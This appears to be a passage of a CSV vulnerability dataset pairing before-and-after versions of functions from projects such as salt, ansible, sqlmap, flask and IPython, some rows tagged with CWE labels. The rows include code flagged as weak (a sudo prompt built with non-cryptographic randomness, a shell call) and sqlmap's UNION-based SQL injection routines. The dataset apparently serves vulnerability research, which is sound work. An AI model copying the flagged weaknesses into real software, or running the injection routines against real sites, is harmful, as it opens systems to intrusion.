    kmods = [(kmod.address.v(), kmod.address.v() + kmod.m('size'), kmod.name) for kmod in lsmod.mac_lsmod(obj_ref._config).calculate() if str(kmod.name) != ""com.apple.kpi.unsupported""] 

    return (kernel_symbol_addresses, kmods)",,volatilityfoundation/volatility,782372bc160398ffbe3ec202da21200033565f64,"def get_kernel_addrs(obj_ref):
    import volatility.plugins.mac.lsmod as lsmod
    # all the known addresses in the kernel
    # TODO -- make more stringent and get only symbols from .text
    kernel_symbol_addresses = obj_ref.profile.get_all_addresses()
    
    # module addresses, tuple of (start, end)
    # TODO -- make sure more stringent and parse each kext in-memory so we only allow whitelist from .text
    kmods = [(kmod.address, kmod.address + kmod.m('size'), kmod.name) for kmod in lsmod.mac_lsmod(obj_ref._config).calculate() if str(kmod.name) != ""com.apple.kpi.unsupported""] 

    return (kernel_symbol_addresses, kmods)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/gitfs.py,0,"def write_file(self, blob, dest):
        '''
        Using the blob object, write the file to the destination path
        '''
        with salt.utils.fopen(dest, 'wb+') as fp_:
            blob.stream_data(fp_)",,saltstack/salt,e50dba7bf4f21885dd1136d2f48ffabb71f41c6e,"def write_file(self, blob, dest):
        '''
        Using the blob object, write the file to the destination path
        '''
        with salt.utils.fopen(dest, 'w+') as fp_:
            blob.stream_data(fp_)"
,UNKNOWN,UNKNOWN,lib/ansible/runner/connection/ssh.py,1,"def exec_command(self, cmd, tmp_path,sudo_user,sudoable=False):
        ''' run a command on the remote host '''

        ssh_cmd = [""ssh"", ""-tt"", ""-q""] + self.common_args + [self.userhost]
        if self.runner.sudo and sudoable:
            # Rather than detect if sudo wants a password this time, -k makes 
            # sudo always ask for a password if one is required. The ""--""
            # tells sudo that this is the end of sudo options and the command
            # follows.  Passing a quoted compound command to sudo (or sudo -s)
            # directly doesn't work, so we shellquote it with pipes.quote() 
            # and pass the quoted string to the user's shell.  We loop reading
            # output until we see the randomly-generated sudo prompt set with
            # the -p option.
            randbits = ''.join(chr(random.randint(ord('a'), ord('z'))) for x in xrange(32))
            prompt = '[sudo via ansible, key=%s] password: ' % randbits
            sudocmd = 'sudo -k && sudo -p ""%s"" -u %s -- ""$SHELL"" -c %s' % (
                prompt, sudo_user, pipes.quote(cmd))
            sudo_output = ''
            ssh_cmd.append(sudocmd)
            p = subprocess.Popen(ssh_cmd, stdin=subprocess.PIPE,
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if self.runner.sudo_pass:
                fcntl.fcntl(p.stdout, fcntl.F_SETFL,
                            fcntl.fcntl(p.stdout, fcntl.F_GETFL) | os.O_NONBLOCK)
                while not sudo_output.endswith(prompt):
                    rfd, wfd, efd = select.select([p.stdout], [],
                                                  [p.stdout], self.runner.timeout)
                    if p.stdout in rfd:
                        chunk = p.stdout.read()
                        if not chunk:
                            raise errors.AnsibleError('ssh connection closed waiting for sudo password prompt')
                        sudo_output += chunk
                    else:
                        (stdout, stderr) = p.communicate()
                        raise errors.AnsibleError('ssh connection error waiting for sudo password prompt')
                p.stdin.write(self.runner.sudo_pass + '\n')
                fcntl.fcntl(p.stdout, fcntl.F_SETFL, fcntl.fcntl(p.stdout, fcntl.F_GETFL) & ~os.O_NONBLOCK)
        else:
            ssh_cmd.append(cmd)
            p = subprocess.Popen(ssh_cmd, stdin=subprocess.PIPE,
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        # We can't use p.communicate here because the ControlMaster may have stdout open as well
        p.stdin.close()
        stdout = ''
        while p.poll() is None:
            rfd, wfd, efd = select.select([p.stdout], [], [p.stdout], 1)
            if p.stdout in rfd:
                stdout += os.read(p.stdout.fileno(), 1024)

        if p.returncode != 0 and stdout.find('Bad configuration option: ControlPersist') != -1:
            raise errors.AnsibleError('using -c ssh on certain older ssh versions may not support ControlPersist, set ANSIBLE_SSH_ARGS="""" before running again')
            
        return ('', stdout, '')",CWE-330,ansible/ansible,b32b5a0620984bd38df38066e2056fb52d0968e9,"def exec_command(self, cmd, tmp_path,sudo_user,sudoable=False):
        ''' run a command on the remote host '''

        ssh_cmd = [""ssh"", ""-tt"", ""-q""] + self.common_args + [self.userhost]
        if self.runner.sudo and sudoable:
            # Rather than detect if sudo wants a password this time, -k makes 
            # sudo always ask for a password if one is required. The ""--""
            # tells sudo that this is the end of sudo options and the command
            # follows.  Passing a quoted compound command to sudo (or sudo -s)
            # directly doesn't work, so we shellquote it with pipes.quote() 
            # and pass the quoted string to the user's shell.  We loop reading
            # output until we see the randomly-generated sudo prompt set with
            # the -p option.
            randbits = ''.join(chr(random.randint(ord('a'), ord('z'))) for x in xrange(32))
            prompt = '[sudo via ansible, key=%s] password: ' % randbits
            sudocmd = 'sudo -k && sudo -p ""%s"" -u %s -- ""$SHELL"" -c %s' % (
                prompt, sudo_user, pipes.quote(cmd))
            sudo_output = ''
            ssh_cmd.append(sudocmd)
            p = subprocess.Popen(ssh_cmd, stdin=subprocess.PIPE,
                                 stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            if self.runner.sudo_pass:
                fcntl.fcntl(p.stdout, fcntl.F_SETFL,
                            fcntl.fcntl(p.stdout, fcntl.F_GETFL) | os.O_NONBLOCK)
                while not sudo_output.endswith(prompt):
                    rfd, wfd, efd = select.select([p.stdout], [],
                                                  [p.stdout], self.runner.timeout)
                    if p.stdout in rfd:
                        chunk = p.stdout.read()
                        if not chunk:
                            raise errors.AnsibleError('ssh connection closed waiting for sudo password prompt')
                        sudo_output += chunk
                    else:
                        (stdout, stderr) = p.communicate()
                        raise errors.AnsibleError('ssh connection error waiting for sudo password prompt')
                p.stdin.write(self.runner.sudo_pass + '\n')
                fcntl.fcntl(p.stdout, fcntl.F_SETFL, fcntl.fcntl(p.stdout, fcntl.F_GETFL) & ~os.O_NONBLOCK)
        else:
            ssh_cmd.append(cmd)
            p = subprocess.Popen(ssh_cmd, stdin=subprocess.PIPE,
                                 stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        # We can't use p.communicate here because the ControlMaster may have stdout open as well
        p.stdin.close()
        stdout = ''
        while p.poll() is None:
            rfd, wfd, efd = select.select([p.stdout], [], [p.stdout], 1)
            if p.stdout in rfd:
                stdout += os.read(p.stdout.fileno(), 1024)

        if p.returncode != 0 and stdout.find('Bad configuration option: ControlPersist') != -1:
            raise errors.AnsibleError('using -c ssh on certain older ssh versions may not support ControlPersist, set ANSIBLE_SSH_ARGS="""" before running again')
            
        return ('', stdout, '')"
,UNKNOWN,UNKNOWN,tests/unit/modules/network_test.py,1,"def test_is_private(self):
        '''
        Test for Check if the given IP address is a private address
        '''
        with patch.object(network.ipaddress.IPv4Address, 'is_private',
                          return_value=True):
            self.assertTrue(network.is_private('0.0.0.0'))
        with patch.object(network.ipaddress.IPv6Address, 'is_private',
                          return_value=True):
            self.assertTrue(network.is_private('::1'))",CWE-605,saltstack/salt,06279dd9b058cab6d809cf96dc2d7661c6be7d32,"def test_is_private(self):
        '''
        Test for Check if the given IP address is a private address
        '''
        with patch.object(salt.ext.ipaddress.IPv4Address, 'is_private',
                          return_value=True):
            self.assertTrue(network.is_private('0.0.0.0'))
        with patch.object(salt.ext.ipaddress.IPv6Address, 'is_private',
                          return_value=True):
            self.assertTrue(network.is_private('::1'))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/integration/states/test_file.py,0,"def test_managed_file_mode(self):
        '''
        file.managed, correct file permissions
        '''
        desired_mode = 504    # 0770 octal
        name = os.path.join(TMP, 'grail_scene33')
        ret = self.run_state(
            'file.managed', name=name, mode='0770', source='salt://grail/scene33'
        )

        if IS_WINDOWS:
            expected = 'The \'mode\' option is not supported on Windows'
            self.assertEqual(ret[list(ret)[0]]['comment'], expected)
            self.assertSaltFalseReturn(ret)
            return

        resulting_mode = stat.S_IMODE(
            os.stat(name).st_mode
        )
        self.assertEqual(oct(desired_mode), oct(resulting_mode))
        self.assertSaltTrueReturn(ret)",,saltstack/salt,8ab55f555250c9b387754a9d37ee2360631c8cbb,"def test_managed_file_mode(self):
        '''
        file.managed, correct file permissions
        '''
        desired_mode = 504    # 0770 octal
        name = os.path.join(TMP, 'grail_scene33')
        ret = self.run_state(
            'file.managed', name=name, mode='0770', source='salt://grail/scene33'
        )

        if IS_WINDOWS:
            expected = 'The \'mode\' option is not supported on Windows'
            self.assertEqual(ret[ret.keys()[0]]['comment'], expected)
            self.assertSaltFalseReturn(ret)
            return

        resulting_mode = stat.S_IMODE(
            os.stat(name).st_mode
        )
        self.assertEqual(oct(desired_mode), oct(resulting_mode))
        self.assertSaltTrueReturn(ret)"
,UNKNOWN,UNKNOWN,lib/techniques/union/use.py,1,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.jsonAggMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]

            # Note: introduced columns in 1.4.2.42#dev
            try:
                kb.tableFrom = vector[9]
                kb.unionTemplate = vector[10]
            except IndexError:
                pass

            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            where = vector[6]
            query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if kb.jsonAggMode:
            if Backend.isDbms(DBMS.MSSQL):
                output = extractRegexResult(r""%s(?P<result>.*)%s"" % (kb.chars.start, kb.chars.stop), page or """")
                if output:
                    try:
                        retVal = """"
                        fields = re.findall(r'""([^""]+)"":', extractRegexResult(r""{(?P<result>[^}]+)}"", output))
                        for row in json.loads(output):
                            retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
                    except:
                        pass
                    else:
                        retVal = getUnicode(retVal)
            elif Backend.isDbms(DBMS.PGSQL):
                output = extractRegexResult(r""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop), page or """")
                if output:
                    retVal = output
            else:
                output = extractRegexResult(r""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop), page or """")
                if output:
                    try:
                        retVal = """"
                        for row in json.loads(output):
                            retVal += ""%s%s%s"" % (kb.chars.start, row, kb.chars.stop)
                    except:
                        pass
                    else:
                        retVal = getUnicode(retVal)
        else:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
                )

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.jsonAggMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

            elif re.search(r""ORDER BY [^ ]+\Z"", expression):
                debugMsg = ""retrying failed SQL query without the ORDER BY clause""
                singleTimeDebugMessage(debugMsg)

                expression = re.sub(r""\s*ORDER BY [^ ]+\Z"", """", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)

            elif kb.nchar and re.search(r"" AS N(CHAR|VARCHAR)"", agent.nullAndCastField(expression)):
                debugMsg = ""turning off NATIONAL CHARACTER casting""  # NOTE: in some cases there are ""known"" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
                singleTimeDebugMessage(debugMsg)

                kb.nchar = False
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal",CWE-703,sqlmapproject/sqlmap,78ba33737ef06cecdee019cad56ffda267d191ee,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.jsonAggMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]

            # Note: introduced columns in 1.4.2.42#dev
            try:
                kb.tableFrom = vector[9]
                kb.unionTemplate = vector[10]
            except IndexError:
                pass

            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            where = vector[6]
            query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if kb.jsonAggMode:
            if Backend.isDbms(DBMS.MSSQL):
                output = extractRegexResult(r""%s(?P<result>.*)%s"" % (kb.chars.start, kb.chars.stop), page or """")
                if output:
                    try:
                        retVal = """"
                        fields = re.findall(r'""([^""]+)"":', extractRegexResult(r""{(?P<result>[^}]+)}"", output))
                        for row in json.loads(output):
                            retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
                    except:
                        pass
                    else:
                        retVal = getUnicode(retVal)
            elif Backend.isDbms(DBMS.PGSQL):
                output = extractRegexResult(r""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop), page or """")
                if output:
                    retVal = output
            else:
                output = extractRegexResult(r""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop), page or """")
                if output:
                    try:
                        retVal = """"
                        for row in json.loads(output):
                            retVal += ""%s%s%s"" % (kb.chars.start, row, kb.chars.stop)
                    except:
                        pass
                    else:
                        retVal = getUnicode(retVal)
        else:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
                )

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.jsonAggMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)
            elif re.search(r""ORDER BY [^ ]+\Z"", expression):
                debugMsg = ""retrying failed SQL query without the ORDER BY clause""
                singleTimeDebugMessage(debugMsg)

                expression = re.sub(r""\s*ORDER BY [^ ]+\Z"", """", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/test.py,0,"def unionTest():
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """"""

    if conf.direct:
        return

    if kb.unionTest is not None:
        return kb.unionTest

    if conf.uChar == ""NULL"":
        technique = ""NULL bruteforcing""
    else:
        technique = ""char (%s) bruteforcing"" % conf.uChar

    infoMsg  = ""testing inband sql injection on parameter ""
    infoMsg += ""'%s' with %s technique"" % (kb.injection.parameter, technique)
    logger.info(infoMsg)

    comment = queries[kb.dbms].comment.query
    validPayload = __unionTestByCharBruteforce(comment)

    if validPayload:
        validPayload = agent.removePayloadDelimiters(validPayload, False)
        setUnion(char=conf.uChar)
        setUnion(comment=comment)
        setUnion(payload=validPayload)

    if kb.unionTest is not None:
        infoMsg = ""the target url is affected by an exploitable ""
        infoMsg += ""inband sql injection vulnerability ""
        infoMsg += ""on parameter '%s' with %d columns"" % (kb.injection.parameter, kb.unionCount)
        logger.info(infoMsg)
    else:
        infoMsg = ""the target url is not affected by an exploitable ""
        infoMsg += ""inband sql injection vulnerability ""
        infoMsg += ""on parameter '%s'"" % kb.injection.parameter
        logger.info(infoMsg)

    return kb.unionTest",,sqlmapproject/sqlmap,c00ea7f5e5296a330780dd73b5e94a6d8ea58d0f,"def unionTest():
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """"""

    if conf.direct:
        return

    if kb.unionTest is not None:
        return kb.unionTest

    if conf.uChar == ""NULL"":
        technique = ""NULL bruteforcing""
    else:
        technique = ""char (%s) bruteforcing"" % conf.uChar

    infoMsg  = ""testing inband sql injection on parameter ""
    infoMsg += ""'%s' with %s technique"" % (kb.injection.parameter, technique)
    logger.info(infoMsg)

    validPayload = None
    comment = queries[kb.dbms].comment.query

    validPayload = __unionTestByCharBruteforce(comment)

    if validPayload:
        setUnion(comment=comment)

    if isinstance(kb.unionPosition, int):
        infoMsg  = ""the target url is affected by an exploitable ""
        infoMsg += ""inband sql injection vulnerability ""
        infoMsg += ""on parameter '%s' with %d columns"" % (kb.injection.parameter, kb.unionCount)
        logger.info(infoMsg)
    else:
        infoMsg  = ""the target url is not affected by an exploitable ""
        infoMsg += ""inband sql injection vulnerability ""
        infoMsg += ""on parameter '%s'"" % kb.injection.parameter
        logger.info(infoMsg)

    validPayload = agent.removePayloadDelimiters(validPayload, False)
    setUnion(payload=validPayload)

    return kb.unionTest"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/support/gitfs.py,0,"def tearDownClass(cls):
        if cls.sshd_proc is not None:
            log.info('[%s] Stopping %s', cls.sshd_proc.log_prefix, cls.sshd_proc.__class__.__name__)
            terminate_process(cls.sshd_proc.pid, kill_children=True, slow_stop=True)
            log.info('[%s] %s stopped', cls.sshd_proc.log_prefix, cls.sshd_proc.__class__.__name__)
            cls.sshd_proc = None
        if cls.prep_states_ran:
            ret = cls.cls_run_function('state.single', 'user.absent', name=cls.username, purge=True)
            try:
                if ret and 'minion' in ret:
                    ret_data = next(six.itervalues(ret['minion']))
                    if not ret_data['result']:
                        log.warning('Failed to delete test account %s', cls.username)
            except KeyError:
                log.warning('Failed to delete test account. Salt return:\n%s',
                            pprint.pformat(ret))
            cls.prep_states_ran = False
            cls.known_hosts_setup = False
        shutil.rmtree(cls.sshd_config_dir, ignore_errors=True)
        ssh_dir = os.path.expanduser('~/.ssh')
        for filename in (cls.id_rsa_nopass,
                         cls.id_rsa_nopass + '.pub',
                         cls.id_rsa_withpass,
                         cls.id_rsa_withpass + '.pub',
                         cls.git_ssh):
            try:
                os.remove(os.path.join(ssh_dir, filename))
            except OSError as exc:
                if exc.errno != errno.ENOENT:
                    raise
        super(SSHDMixin, cls).tearDownClass()",,saltstack/salt,a21d397869e8eb5fc588a69a574129ce6d23e2eb,"def tearDownClass(cls):
        if cls.sshd_proc is not None:
            log.info('[%s] Stopping %s', cls.sshd_proc.log_prefix, cls.sshd_proc.__class__.__name__)
            terminate_process(cls.sshd_proc.pid, kill_children=True, slow_stop=True)
            log.info('[%s] %s stopped', cls.sshd_proc.log_prefix, cls.sshd_proc.__class__.__name__)
            cls.sshd_proc = None
        if cls.prep_states_ran:
            ret = cls.cls_run_function('state.single', 'user.absent', name=cls.username, purge=True)
            try:
                if ret and 'minion' in ret:
                    ret_data = next(six.itervalues(ret['minion']))
                    if not ret_data['result']:
                        log.warning('Failed to delete test account %s', cls.username)
            except KeyError:
                log.warning('Failed to delete test account. Salt return:\n%s',
                            pprint.pformat(ret))
        shutil.rmtree(cls.sshd_config_dir, ignore_errors=True)
        ssh_dir = os.path.expanduser('~/.ssh')
        for filename in (cls.id_rsa_nopass,
                         cls.id_rsa_nopass + '.pub',
                         cls.id_rsa_withpass,
                         cls.id_rsa_withpass + '.pub',
                         cls.git_ssh):
            try:
                os.remove(os.path.join(ssh_dir, filename))
            except OSError as exc:
                if exc.errno != errno.ENOENT:
                    raise
        super(SSHDMixin, cls).tearDownClass()"
,UNKNOWN,UNKNOWN,salt/utils/fsutils.py,1,"def _blkid(fs_type=None):
    '''
    Return available media devices.

    :param fs_type: Filter only devices that are formatted by that file system.
    '''
    flt = lambda data: [el for el in data if el.strip()]
    data = dict()
    for dev_meta in flt(os.popen(""blkid -o full"").read().split(os.linesep)):  # No __salt__ around at this point.
        dev_meta = dev_meta.strip()
        if not dev_meta:
            continue
        device = dev_meta.split("" "")
        dev_name = device.pop(0)[:-1]
        data[dev_name] = dict()
        for k_set in device:
            ks_key, ks_value = [elm.replace('""', '') for elm in k_set.split(""="")]
            data[dev_name][ks_key.lower()] = ks_value

    if fs_type:
        mounts = _get_mounts(fs_type)
        for device in six.iterkeys(mounts):
            if data.get(device):
                data[device]['mounts'] = mounts[device]

    return data",CWE-78,saltstack/salt,b70731156f8a624824cf19906794e1503228afbb,"def _blkid(fs_type=None):
    '''
    Return available media devices.

    :param fs_type: Filter only devices that are formatted by that file system.
    '''
    flt = lambda data: [el for el in data if el.strip()]
    data = dict()
    for dev_meta in flt(os.popen(""blkid -o full"").read().split(os.linesep)):  # No __salt__ around at this point.
        dev_meta = dev_meta.strip()
        if not dev_meta:
            continue
        device = dev_meta.split("" "")
        dev_name = device.pop(0)[:-1]
        data[dev_name] = dict()
        for k_set in device:
            ks_key, ks_value = [elm.replace('""', '') for elm in k_set.split(""="")]
            data[dev_name][ks_key.lower()] = ks_value

    if fs_type:
        mounts = _get_mounts(fs_type)
        for device in six.iterkeys(mounts):
            if data.get(device):
                data[device]['mounts'] = mounts[device]

    return data"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,examples/minitwit/minitwit.py,0,"def user_timeline(username):
    """"""Display's a users tweets.""""""
    profile_user = query_db('select * from user where username = ?',
                            [username], one=True)
    if profile_user is None:
        abort(404)
    followed = False
    if g.user:
        followed = query_db('''select 1 from follower where
            follower.who_id = ? and follower.whom_id = ?''',
            [session['user_id'], profile_user['user_id']],
            one=True) is not None
    return render_template('timeline.html', messages=query_db('''
            select message.*, user.* from message, user where
            user.user_id = message.author_id and user.user_id = ?
            order by message.pub_date desc limit ?''',
            [profile_user['user_id'], PER_PAGE]), followed=followed,
            profile_user=profile_user)",,pallets/flask,3c821a0fa45082bcec73dfb08662fb1de5263c48,"def user_timeline(username):
    """"""Display's a users tweets.""""""
    profile_user = query_db('select * from user where username = ?',
                            [username], one=True)
    if profile_user is None:
        abort(404)
    followed = False
    if g.user:
        followed = query_db('''select 1 from follower where
            follower.who_id = ? and follower.whom_id = ?''',
            [session['user_id'], profile_user['user_id']], one=True) is not None
    return render_template('timeline.html', messages=query_db('''
            select message.*, user.* from message, user where
            user.user_id = message.author_id and user.user_id = ?
            order by message.pub_date desc limit ?''',
            [profile_user['user_id'], PER_PAGE]), followed=followed,
            profile_user=profile_user)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/testing/iptest.py,0,"def make_exclude():
    """"""Make patterns of modules and packages to exclude from testing.

    For the IPythonDoctest plugin, we need to exclude certain patterns that
    cause testing problems.  We should strive to minimize the number of
    skipped modules, since this means untested code.

    These modules and packages will NOT get scanned by nose at all for tests.
    """"""
    # Simple utility to make IPython paths more readably, we need a lot of
    # these below
    ipjoin = lambda *paths: pjoin('IPython', *paths)

    exclusions = [ipjoin('external'),
                  ipjoin('quarantine'),
                  ipjoin('deathrow'),
                  # This guy is probably attic material
                  ipjoin('testing', 'mkdoctests'),
                  # Testing inputhook will need a lot of thought, to figure out
                  # how to have tests that don't lock up with the gui event
                  # loops in the picture
                  ipjoin('lib', 'inputhook'),
                  # Config files aren't really importable stand-alone
                  ipjoin('config', 'profile'),
                  # The notebook 'static' directory contains JS, css and other
                  # files for web serving.  Occasionally projects may put a .py
                  # file in there (MathJax ships a conf.py), so we might as
                  # well play it safe and skip the whole thing.
                  ipjoin('frontend', 'html', 'notebook', 'static')
                  ]
    if not have['sqlite3']:
        exclusions.append(ipjoin('core', 'tests', 'test_history'))
        exclusions.append(ipjoin('core', 'history'))
    if not have['wx']:
        exclusions.append(ipjoin('lib', 'inputhookwx'))
    
    # FIXME: temporarily disable autoreload tests, as they can produce
    # spurious failures in subsequent tests (cythonmagic).
    exclusions.append(ipjoin('extensions', 'autoreload'))
    exclusions.append(ipjoin('extensions', 'tests', 'test_autoreload'))

    # We do this unconditionally, so that the test suite doesn't import
    # gtk, changing the default encoding and masking some unicode bugs.
    exclusions.append(ipjoin('lib', 'inputhookgtk'))
    exclusions.append(ipjoin('zmq', 'gui', 'gtkembed'))

    # These have to be skipped on win32 because the use echo, rm, cd, etc.
    # See ticket https://github.com/ipython/ipython/issues/87
    if sys.platform == 'win32':
        exclusions.append(ipjoin('testing', 'plugin', 'test_exampleip'))
        exclusions.append(ipjoin('testing', 'plugin', 'dtexample'))

    if not have['pexpect']:
        exclusions.extend([ipjoin('lib', 'irunner'),
                           ipjoin('lib', 'tests', 'test_irunner'),
                           ipjoin('frontend', 'terminal', 'console'),
                           ])

    if not have['zmq']:
        exclusions.append(ipjoin('zmq'))
        exclusions.append(ipjoin('frontend', 'qt'))
        exclusions.append(ipjoin('frontend', 'html'))
        exclusions.append(ipjoin('frontend', 'consoleapp.py'))
        exclusions.append(ipjoin('frontend', 'terminal', 'console'))
        exclusions.append(ipjoin('parallel'))
    elif not have['qt'] or not have['pygments']:
        exclusions.append(ipjoin('frontend', 'qt'))

    if not have['pymongo']:
        exclusions.append(ipjoin('parallel', 'controller', 'mongodb'))
        exclusions.append(ipjoin('parallel', 'tests', 'test_mongodb'))

    if not have['matplotlib']:
        exclusions.extend([ipjoin('core', 'pylabtools'),
                           ipjoin('core', 'tests', 'test_pylabtools'),
                           ipjoin('zmq', 'pylab'),
        ])

    if not have['cython']:
        exclusions.extend([ipjoin('extensions', 'cythonmagic')])
        exclusions.extend([ipjoin('extensions', 'tests', 'test_cythonmagic')])

    if not have['oct2py']:
        exclusions.extend([ipjoin('extensions', 'octavemagic')])
        exclusions.extend([ipjoin('extensions', 'tests', 'test_octavemagic')])

    if not have['tornado']:
        exclusions.append(ipjoin('frontend', 'html'))

    if not have['rpy2'] or not have['numpy']:
        exclusions.append(ipjoin('extensions', 'rmagic'))
        exclusions.append(ipjoin('extensions', 'tests', 'test_rmagic'))

    if not have['azure']:
        exclusions.append(ipjoin('frontend', 'html', 'notebook', 'azurenbmanager'))

    # This is needed for the reg-exp to match on win32 in the ipdoctest plugin.
    if sys.platform == 'win32':
        exclusions = [s.replace('\\','\\\\') for s in exclusions]
    
    # check for any exclusions that don't seem to exist:
    parent, _ = os.path.split(get_ipython_package_dir())
    for exclusion in exclusions:
        if exclusion.endswith(('deathrow', 'quarantine')):
            # ignore deathrow/quarantine, which exist in dev, but not install
            continue
        fullpath = pjoin(parent, exclusion)
        if not os.path.exists(fullpath) and not glob.glob(fullpath + '.*'):
            warn(""Excluding nonexistent file: %r"" % exclusion)

    return exclusions",,jupyter/notebook,b6776682dca10bf3b8ce9a8d15f7ca0e35a280f4,"def make_exclude():
    """"""Make patterns of modules and packages to exclude from testing.

    For the IPythonDoctest plugin, we need to exclude certain patterns that
    cause testing problems.  We should strive to minimize the number of
    skipped modules, since this means untested code.

    These modules and packages will NOT get scanned by nose at all for tests.
    """"""
    # Simple utility to make IPython paths more readably, we need a lot of
    # these below
    ipjoin = lambda *paths: pjoin('IPython', *paths)

    exclusions = [ipjoin('external'),
                  ipjoin('quarantine'),
                  ipjoin('deathrow'),
                  # This guy is probably attic material
                  ipjoin('testing', 'mkdoctests'),
